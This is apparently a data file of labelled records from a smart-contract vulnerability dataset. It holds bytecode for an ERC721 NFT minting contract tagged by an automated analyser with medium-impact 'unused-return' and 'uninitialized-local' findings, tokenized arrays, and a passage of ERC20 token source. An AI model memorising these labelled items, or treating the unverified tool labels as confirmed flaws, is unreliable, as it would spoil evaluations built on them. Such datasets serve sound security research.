0000000000000000082167f780e9d630000000000000000000000000000000000000000000000000000000014806109ab57506109ab82612263565b92915050565b60055473ffffffffffffffffffffffffffffffffffffffff163314610a1d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b8051610a3090600b9060208401906134b2565b5050565b606060008054610a4390613aba565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6f90613aba565b8015610abc5780601f10610a9157610100808354040283529160200191610abc565b820191906000526020600020905b815481529060010190602001808311610a9f57829003601f168201915b5050505050905090565b6000610ad182612346565b610b435760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610a14565b5060009081526003602052604090205473ffffffffffffffffffffffffffffffffffffffff1690565b6000610b77826111ed565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c1b5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610a14565b3373ffffffffffffffffffffffffffffffffffffffff82161480610c445750610c4481336108a8565b610cb65760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610a14565b610cc083836123aa565b505050565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260086020526040902054610d5d5760405162461bcd60e51b815260206004820152602660248201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060448201527f73686172657300000000000000000000000000000000000000000000000000006064820152608401610a14565b600060075447610d6d9190613b3d565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600960209081526040808320546006546008909352908320549394509192610db19085613b55565b610dbb9190613bc1565b610dc59190613bd5565b905080610e3a5760405162461bcd60e51b815260206004820152602b60248201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060448201527f647565207061796d656e740000000000000000000000000000000000000000006064820152608401610a14565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260096020526040902054610e6b908290613b3d565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260096020526040902055600754610e9f908290613b3d565b600755610eac838261244a565b6040805173ffffffffffffffffffffffffffffffffffffffff85168152602081018390527fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b056910160405180910390a1505050565b610f0a3382612570565b610f7c5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610a14565b610cc08383836126ac565b6000610f9283611328565b8210610fe05760405162461bcd60e51b815260206004820152601660248201527f455243373231456e756d3a206f776e657220696f6f62000000000000000000006044820152606401610a14565b6000805b60025481101561105a576002818154811061100157611001613bec565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff8681169116141561104a578382141561103e5791506109ab9050565b61104782613c1b565b91505b61105381613c1b565b9050610fe4565b5060405162461bcd60e51b815260206004820152601660248201527f455243373231456e756d3a206f776e657220696f6f62000000000000000000006044820152606401610a14565b60055473ffffffffffffffffffffffffffffffffffffffff16331461110a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a14565b604051600090339047908381818185875af1925050503d806000811461114c576040519150601f19603f3d011682016040523d82523d6000602084013e611151565b606091505b505090508061115f57600080fd5b50565b610cc083838360405180602001604052806000815250611ceb565b6000611189838361287b565b9392505050565b600061119b60025490565b82106111e95760405162461bcd60e51b815260206004820152601760248201527f455243373231456e756d3a20676c6f62616c20696f6f620000000000000000006044820152606401610a14565b5090565b6000806002838154811061120357611203613bec565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff169050806109ab5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610a14565b600b80546112a790613aba565b80601f01602080910402602001604051908101604052809291908181526020018280546112d390613aba565b80156113205780601f106112f557610100808354040283529160200191611320565b820191906000526020600020905b81548152906001019060200180831161130357829003601f168201915b505050505081565b600073ffffffffffffffffffffffffffffffffffffffff82166113b35760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f2061646472657373000000000000000000000000000000000000000000006064820152608401610a14565b600254600090815b8181101561141e57600281815481106113d6576113d6613bec565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff8681169116141561140e5761140b83613c1b565b92505b61141781613c1b565b90506113bb565b50909392505050565b60055473ffffffffffffffffffffffffffffffffffffffff16331461148e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a14565b6114986000612893565b565b60055473ffffffffffffffffffffffffffffffffffffffff1633146115015760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a14565b601055565b606061151182611328565b6000106115605760405162461bcd60e51b815260206004820152601660248201527f455243373231456e756d3a206f776e657220696f6f62000000000000000000006044820152606401610a14565b600061156b83611328565b905060008167ffffffffffffffff8111156115885761158861358d565b6040519080825280602002602001820160405280156115b1578160200160208202803683370190505b50905060005b828110156115f8576115c98582610f87565b8282815181106115db576115db613bec565b6020908102919091010152806115f081613c1b565b9150506115b7565b509392505050565b60055473ffffffffffffffffffffffffffffffffffffffff1633146116675760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a14565b600d8054911515610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909216919091179055565b60006116a960025490565b9050336116b6848461117d565b73ffffffffffffffffffffffffffffffffffffffff16146117195760405162461bcd60e51b815260206004820152601160248201527f5369676e617475726520496e76616c69640000000000000000000000000000006044820152606401610a14565b600d5460ff1661176b5760405162461bcd60e51b815260206004820152601c60248201527f57686974656c6973742073616c65206973206e6f7420616374697665000000006044820152606401610a14565b600084116117bb5760405162461bcd60e51b815260206004820152601060248201527f4d696e74206d6f7265207468616e2030000000000000000000000000000000006044820152606401610a14565b60105484111561180d5760405162461bcd60e51b815260206004820152600960248201527f4d696e74206c65737300000000000000000000000000000000000000000000006044820152606401610a14565b600c5461181a8583613b3d565b11156118685760405162461bcd60e51b815260206004820152600960248201527f4d696e74206c65737300000000000000000000000000000000000000000000006044820152606401610a14565b83600e546118769190613b55565b3410156118c55760405162461bcd60e51b815260206004820152601260248201527f45544820696e7075742069732077726f6e6700000000000000000000000000006044820152606401610a14565b60016118d033611d73565b101561191e5760405162461bcd60e51b815260206004820152601360248201527f596f75206d696e74656420746f6f206d616e79000000000000000000000000006044820152606401610a14565b60005b8481101561195c5761194c336119378385613b3d565b6040518060200160405280600081525061290a565b61195581613c1b565b9050611921565b506000905061196b3385612993565b50505050565b6000600a828154811061198657611986613bec565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff1692915050565b60055473ffffffffffffffffffffffffffffffffffffffff163314611a155760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a14565b600e55565b606060018054610a4390613aba565b60055473ffffffffffffffffffffffffffffffffffffffff163314611a905760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a14565b828114611a9c57600080fd5b600080611aa860025490565b905060005b85811015611aeb57868682818110611ac757611ac7613bec565b9050602002013583611ad99190613b3d565b9250611ae481613c1b565b9050611aad565b50600c54611af98383613b3d565b1115611b475760405162461bcd60e51b815260206004820152600860248201527f546f6f206d616e790000000000000000000000000000000000000000000000006044820152606401610a14565b6000915060005b83811015611be55760005b878783818110611b6b57611b6b613bec565b90506020020135811015611bd457611bc4868684818110611b8e57611b8e613bec565b9050602002016020810190611ba3919061378c565b84611bad81613c1b565b95506040518060200160405280600081525061290a565b611bcd81613c1b565b9050611b59565b50611bde81613c1b565b9050611b4e565b50505050505050565b73ffffffffffffffffffffffffffffffffffffffff8216331415611c545760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610a14565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b611cf53383612570565b611d675760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610a14565b61196b848484846129d1565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601260205260408120546011546109ab9190613bd5565b60055473ffffffffffffffffffffffffffffffffffffffff163314611e0d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a14565b600d80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b6060600c54821115611e4f57600080fd5b6000611e59612a5a565b90506000815111611e795760405180602001604052806000815250611189565b80611e8384612a69565b604051602001611e94929190613c54565b6040516020818303038152906040529392505050565b60055473ffffffffffffffffffffffffffffffffffffffff163314611f115760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a14565b601155565b6000611f2160025490565b600d54909150610100900460ff16611f7b5760405162461bcd60e51b815260206004820152601960248201527f5075626c69632073616c65206973206e6f7420616374697665000000000000006044820152606401610a14565b60008211611fcb5760405162461bcd60e51b815260206004820152601060248201527f4d696e74206d6f7265207468616e2030000000000000000000000000000000006044820152606401610a14565b600f5482111561201d5760405162461bcd60e51b815260206004820152600960248201527f4d696e74206c65737300000000000000000000000000000000000000000000006044820152606401610a14565b600c5461202a8383613b3d565b11156120785760405162461bcd60e51b815260206004820152600960248201527f4d696e74206c65737300000000000000000000000000000000000000000000006044820152606401610a14565b81600e546120869190613b55565b3410156120d55760405162461bcd60e51b815260206004820152601260248201527f45544820696e7075742069732077726f6e6700000000000000000000000000006044820152606401610a14565b60005b82811015610cc0576120ee336119378385613b3d565b6120f781613c1b565b90506120d8565b60055473ffffffffffffffffffffffffffffffffffffffff1633146121655760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a14565b73ffffffffffffffffffffffffffffffffffffffff81166121ee5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610a14565b61115f81612893565b60055473ffffffffffffffffffffffffffffffffffffffff16331461225e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a14565b600f55565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd0000000000000000000000000000000000000000000000000000000014806122f657507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b806109ab57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316146109ab565b600254600090821080156109ab5750600073ffffffffffffffffffffffffffffffffffffffff166002838154811061238057612380613bec565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16141592915050565b600081815260036020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff84169081179091558190612404826111ed565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b8047101561249a5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610a14565b60008273ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d80600081146124f4576040519150601f19603f3d011682016040523d82523d6000602084013e6124f9565b606091505b5050905080610cc05760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610a14565b600061257b82612346565b6125ed5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610a14565b60006125f8836111ed565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061266757508373ffffffffffffffffffffffffffffffffffffffff1661264f84610ac6565b73ffffffffffffffffffffffffffffffffffffffff16145b806126a4575073ffffffffffffffffffffffffffffffffffffffff80821660009081526004602090815260408083209388168352929052205460ff165b949350505050565b8273ffffffffffffffffffffffffffffffffffffffff166126cc826111ed565b73ffffffffffffffffffffffffffffffffffffffff16146127555760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610a14565b73ffffffffffffffffffffffffffffffffffffffff82166127dd5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610a14565b6127e86000826123aa565b81600282815481106127fc576127fc613bec565b6000918252602082200180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff938416179055604051839285811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a4505050565b60008061288784612b9b565b90506126a48184612bfe565b6005805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6129148383612c1a565b6129216000848484612d74565b610cc05760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610a14565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260126020526040812080548392906129c8908490613b3d565b90915550505050565b6129dc8484846126ac565b6129e884848484612d74565b61196b5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610a14565b6060600b8054610a4390613aba565b606081612aa957505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115612ad35780612abd81613c1b565b9150612acc9050600a83613bc1565b9150612aad565b60008167ffffffffffffffff811115612aee57612aee61358d565b6040519080825280601f01601f191660200182016040528015612b18576020820181803683370190505b5090505b84156126a457612b2d600183613bd5565b9150612b3a600a86613c83565b612b45906030613b3d565b60f81b818381518110612b5a57612b5a613bec565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350612b94600a86613bc1565b9450612b1c565b60006109ab7f28bcf37b3cf2bc5fb85e4153569e33942b67dedd3a52f5007e880261d298bb9c8380519060200120604051602001612be3929190918252602082015260400190565b60405160208183030381529060405280519060200120612f4a565b6000806000612c0d8585612fb3565b915091506115f881613023565b73ffffffffffffffffffffffffffffffffffffffff8216612c7d5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610a14565b612c8681612346565b15612cd35760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610a14565b6002805460018101825560009182527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff85169081179091556040518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600073ffffffffffffffffffffffffffffffffffffffff84163b15612f3f576040517f150b7a0200000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063150b7a0290612deb903390899088908890600401613c97565b6020604051808303816000875af1925050508015612e44575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201909252612e4191810190613ce0565b60015b612ef4573d808015612e72576040519150601f19603f3d011682016040523d82523d6000602084013e612e77565b606091505b508051612eec5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610a14565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a02000000000000000000000000000000000000000000000000000000001490506126a4565b506001949350505050565b60006109ab612f57613214565b836040517f19010000000000000000000000000000000000000000000000000000000000006020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b600080825160411415612fea5760208301516040840151606085015160001a612fde87828585613348565b9450945050505061301c565b8251604014156130145760208301516040840151613009868383613460565b93509350505061301c565b506000905060025b9250929050565b600081600481111561303757613037613cfd565b14156130405750565b600181600481111561305457613054613cfd565b14156130a25760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610a14565b60028160048111156130b6576130b6613cfd565b14156131045760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610a14565b600381600481111561311857613118613cfd565b141561318c5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610a14565b60048160048111156131a0576131a0613cfd565b141561115f5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610a14565b60003073ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000097019ce30750e19486f52e4eadd9130b10d3a8a41614801561327a57507f000000000000000000000000000000000000000000000000000000000000000146145b156132a457507f601f80a13c06a525fb7cdd7a18b577324fac77d57a07eb4b0d09e45216bea88790565b50604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6020808301919091527f5bef8eb8def175bd6ae5641da7f256bdbbf273792256b0e404c7e18073c2ff1c828401527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561337f5750600090506003613457565b8460ff16601b1415801561339757508460ff16601c14155b156133a85750600090506004613457565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156133fc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811661345057600060019250925050613457565b9150600090505b94509492505050565b6000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83168161349660ff86901c601b613b3d565b90506134a487828885613348565b935093505050935093915050565b8280546134be90613aba565b90600052602060002090601f0160209004810192826134e05760008555613526565b82601f106134f957805160ff1916838001178555613526565b82800160010185558215613526579182015b8281111561352657825182559160200191906001019061350b565b506111e99291505b808211156111e9576000815560010161352e565b7fffffffff000000000000000000000000000000000000000000000000000000008116811461115f57600080fd5b60006020828403121561358257600080fd5b813561118981613542565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600082601f8301126135cd57600080fd5b813567ffffffffffffffff808211156135e8576135e861358d565b604051601f83017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f0116810190828211818310171561362e5761362e61358d565b8160405283815286602085880101111561364757600080fd5b836020870160208301376000602085830101528094505050505092915050565b60006020828403121561367957600080fd5b813567ffffffffffffffff81111561369057600080fd5b6126a4848285016135bc565b60005b838110156136b757818101518382015260200161369f565b8381111561196b5750506000910152565b600081518084526136e081602086016020860161369c565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60208152600061118960208301846136c8565b60006020828403121561373757600080fd5b5035919050565b73ffffffffffffffffffffffffffffffffffffffff8116811461115f57600080fd5b6000806040838503121561377357600080fd5b823561377e8161373e565b946020939093013593505050565b60006020828403121561379e57600080fd5b81356111898161373e565b6000806000606084860312156137be57600080fd5b83356137c98161373e565b925060208401356137d98161373e565b929592945050506040919091013590565b600080604083850312156137fd57600080fd5b823567ffffffffffffffff8082111561381557600080fd5b613821868387016135bc565b9350602085013591508082111561383757600080fd5b50613844858286016135bc565b9150509250929050565b6020808252825182820181905260009190848201906040850190845b818110156138865783518352928401929184019160010161386a565b50909695505050505050565b803580151581146138a257600080fd5b919050565b6000602082840312156138b957600080fd5b61118982613892565b6000806000606084860312156138d757600080fd5b83359250602084013567ffffffffffffffff808211156138f657600080fd5b613902878388016135bc565b9350604086013591508082111561391857600080fd5b50613925868287016135bc565b9150509250925092565b60008083601f84011261394157600080fd5b50813567ffffffffffffffff81111561395957600080fd5b6020830191508360208260051b850101111561301c57600080fd5b6000806000806040858703121561398a57600080fd5b843567ffffffffffffffff808211156139a257600080fd5b6139ae8883890161392f565b909650945060208701359150808211156139c757600080fd5b506139d48782880161392f565b95989497509550505050565b600080604083850312156139f357600080fd5b82356139fe8161373e565b9150613a0c60208401613892565b90509250929050565b60008060008060808587031215613a2b57600080fd5b8435613a368161373e565b93506020850135613a468161373e565b925060408501359150606085013567ffffffffffffffff811115613a6957600080fd5b613a75878288016135bc565b91505092959194509250565b60008060408385031215613a9457600080fd5b8235613a9f8161373e565b91506020830135613aaf8161373e565b809150509250929050565b600181811c90821680613ace57607f821691505b60208210811415613b08577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008219821115613b5057613b50613b0e565b500190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b8d57613b8d613b0e565b500290565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600082613bd057613bd0613b92565b500490565b600082821015613be757613be7613b0e565b500390565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c4d57613c4d613b0e565b5060010190565b60008351613c6681846020880161369c565b835190830190613c7a81836020880161369c565b01949350505050565b600082613c9257613c92613b92565b500690565b600073ffffffffffffffffffffffffffffffffffffffff808716835280861660208401525083604083015260806060830152613cd660808301846136c8565b9695505050505050565b600060208284031215613cf257600080fd5b815161118981613542565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fdfea26469706673582212204b3f0146ad44186dc6f16225cf4057d39ab658b05614688494c8d7388e3d07e364736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 16147, 3401, 14142, 23352, 2692, 2063, 16147, 18139, 2575, 2546, 25746, 2063, 2549, 13775, 2094, 2683, 17134, 2692, 2497, 10790, 2094, 2509, 2050, 2620, 2050, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1016, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 14925, 5104, 2050, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 1041, 11514, 2581, 12521, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 7909, 1012, 14017, 1000, 1025, 3206, 15315, 5349, 7274, 2003, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1010, 1041, 11514, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,570
0x9701fe45f219f38c55f39872c84002202bcc512a
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit 